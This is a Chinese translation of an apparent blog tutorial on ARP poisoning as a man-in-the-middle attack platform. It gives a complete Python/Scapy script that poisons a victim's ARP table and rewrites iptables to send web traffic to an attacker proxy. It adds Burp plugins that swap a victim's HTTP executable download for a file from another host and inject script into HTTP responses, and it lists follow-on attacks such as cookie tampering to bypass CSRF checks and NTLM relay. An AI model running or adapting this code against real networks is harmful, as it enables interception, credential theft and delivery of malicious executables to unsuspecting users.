ARP毒化攻击是一种比较老的攻击技术,是中间人攻击的一种途径。传统的攻击方法重点在于信息的收集(密码,Cookie,CSRF令牌等等任何信息)。有时这种攻击也用来对付通过SSL协议访问的目标。但是其中一个攻击途径我认为没有引起足够的重视,就是让中间人作为一个活跃的攻击点去攻击在各类Web应用。关于这种技术大部分的内容都能在网络上找到,但是使用的例子我认为都是零散的也不够完整。
在中间建立一个HTTP代理
这个例子中我会用到Backtrack,Scapy和Brup。当然有很多很棒的工具来去实施ARP毒化攻击,像Ettercap和Cain。而直接使用你自己编写的脚本将会使这一过程变得更精确并且更简单明了。
这里有个脚本可以做几件事情。
1)建立iptables来转发除80和443端口之外的所有数据流,并将80和443端口路由到本机。
2)向受害者发送Arp数据包告诉其将攻击主机作为网关。
这个代码非常的直接。使用方法如下python mitm.py -victim=192.168.1.14
from scapy.all import * import time import argparse import os import sys def arpPoison(args): conf.iface= args.iface pkt = ARP() pkt.psrc = args.router pkt.pdst = args.victim try: while 1: send(pkt, verbose=args.verbose) time.sleep(args.freq) except KeyboardInterrupt: pass #default just grabs the default route, http://pypi.python.org/pypi/pynetinfo/0.1.9 would be better #but this just works and people don't have to install external libs def getDefRoute(args): data = os.popen("/sbin/route -n ").readlines() for line in data: if line.startswith("0.0.0.0") and (args.iface in line): print "Setting route to the default: " + line.split()[1] args.router = line.split()[1] return print "Error: unable to find default route" sys.exit(0) #default just grabs the default IP, http://pypi.python.org/pypi/pynetinfo/0.1.9 would be better #but this just works and people don't have to install external libs def getDefIP(args): data = os.popen("/sbin/ifconfig " + args.iface).readlines() for line in data: if line.strip().startswith("inet addr"): args.proxy = line.split(":")[1].split()[0] print "setting proxy to: " + args.proxy return print "Error: unable to find default IP" sys.exit(0) def fwconf(args): #write appropriate kernel config settings f = open("/proc/sys/net/ipv4/ip_forward", "w") f.write('1') f.close() f = open("/proc/sys/net/ipv4/conf/" + args.iface + "/send_redirects", "w") f.write('0') f.close() #iptables stuff os.system("/sbin/iptables --flush") os.system("/sbin/iptables -t nat --flush") os.system("/sbin/iptables --zero") os.system("/sbin/iptables -A FORWARD --in-interface " + args.iface + " -j ACCEPT") os.system("/sbin/iptables -t nat --append POSTROUTING --out-interface " + args.iface + " -j MASQUERADE") #forward 80,443 to our proxy for port in args.ports.split(","): os.system("/sbin/iptables -t nat -A PREROUTING -p tcp --dport " + port + " --jump DNAT --to-destination " + args.proxy) parser = argparse.ArgumentParser() parser.add_argument('--victim', required=True, help="victim IP") parser.add_argument('--router', default=None) parser.add_argument('--iface', default='eth1') parser.add_argument('--fwconf', type=bool, default=True, help="Try to auto configure firewall") parser.add_argument('--freq', type=float, default=5.0, help="frequency to send packets, in seconds") parser.add_argument('--ports', default="80,443", help="comma seperated list of ports to forward to proxy") parser.add_argument('--proxy', default=None) parser.add_argument('--verbose', type=bool, default=True) args = parser.parse_args() #set default args if args.router == None: getDefRoute(args) if args.proxy == None: getDefIP(args) #do iptables rules if args.fwconf: fwconf(args) arpPoison(args)
你可以首先使用arp -a 来查看受害者机器上的arp表。在我这里192.168.1.1是我将要欺骗的网关。
当上面的脚本运行之后,arp表将会变为攻击者控制的“代理机”。在这个例子中,能够很容易看到合法的网关的MAC 00:25:9c:4d:b3:cc已经被替换成我们攻击者主机的MAC00:0c:29:8c:c1:d8。
在这种情况下,所有的数据流都将路由我们的主机,并且我们的iptable已经配置成将所有80和443端口的数据流发送到我们的代理中。你的代理需要设置成监听所有接口并设置成不可见模式。
你应该能够看到访问受害者主机的HTTP和HTTPS流量都被路由到了我们的主机并通过Brup监听到了。其他端口的流量将会不经修改的通过我们的主机。
替换HTTP下载文件
这非常普遍,即使是世界上最安全的一些组织,也会允许通过HTTP下载文件。你完全不必苦苦寻找那些通过未加密途径提供文件下载的Web应用。FireFox就提供了这样一个机会。这里我举一个比较坑爹的例子,我通过Brup的插件来探测用户是否在尝试下载Firefox浏览器,然后将其替换为Chrome的安装包。
这里我并不是想指出Mozilla有什么问题–99%在互联网上的可执行程序都是通过HTTP协议来下载的。
这个Brup插件可以在这里下载:https://github.com/mwielgoszewski/jython-burp-api,非常棒的一个脚本。这也是我第一次使用他。
from gds.burp.api import IProxyRequestHandler from gds.burp.core import Component, implements class ExamplePlugin(Component): implements(IProxyRequestHandler) def processRequest(self, request): if "Firefox%20Setup%20" in request.url.geturl() and ".exe" in request.url.geturl(): print "Firefox download detected, redirecting" request.host = "131.107.39.100" request.raw = ("GET /downloads/Firefox%20Setup%2013.0.1.exe HTTP/1.1\r\n" + "HOST: 131.107.39.100\r\n\r\n")
HTTP下载文件欺骗DEMO[翻墙]:
http://www.youtube.com/watch?v=sKqkcCepqKc&feature=player_embedded
客户端攻击
基于中间人的客户端攻击将变得非常有趣,但是其特点就是这些攻击场景并不是一直有效的。下面列举了一些并不是非常全面的攻击途径。
1: 针对任意HTTP站点进行XSS跨站脚本攻击,当Cookie不安全的时候也可以和HTTPS进行交互。
2: 篡改Cookie成为可能:当CSRF保护措施将一个POST提交的值和Cookie进行对比时,这时候你可以设置Cookie来进行CSRF,即使目标只能HTTPS访问也可以这样攻击。
3: 可以在域中进行NTLM重放攻击。
4: 如果Web应用中已经存在XSS,你可以强制受害者访问这些请求而不用说服他们去点击什么连接。这针对内部攻击将非常有效,比如这些,可以让我们获得一个shell。
使用和上面一样的方法,我们写一个Brup插件用来向HTTP的响应中插入恶意Javascript代码。
def processResponse(self, request): #very sloppy way to call only once, forcing exception on the first call try: self.attack += 1 except: script = "<script>alert(document.domain)</script>" #simply inject into the first </head> we see if "</head>" in request.response.raw: print "Beginning Injection..." print type(request.response.raw) request.response.raw = request.response.raw.replace("</head>", script + "</head>", 1) #self.attack = 1
MITM XSS DEMO[翻墙]:
http://www.youtube.com/watch?v=EkJvD3ejrik&feature=player_embedded
总结
使用HTTPS,昂贵的交换机或者静态端口会不会解决这些问题呢?
你可以仅仅通过ARP毒化来控制整个内部网络么?而NTLM重放攻击其实是非常致命的,我将在之后的几个星期继续讨论这个问题,一次将在工作中,一次会在Blackhat as a tool arsenal demo。中间人攻击提供了多种多样的攻击方式,更多的内容敬请期待。
Author:webstersprodigy 译:Pnig0s[Freebuf]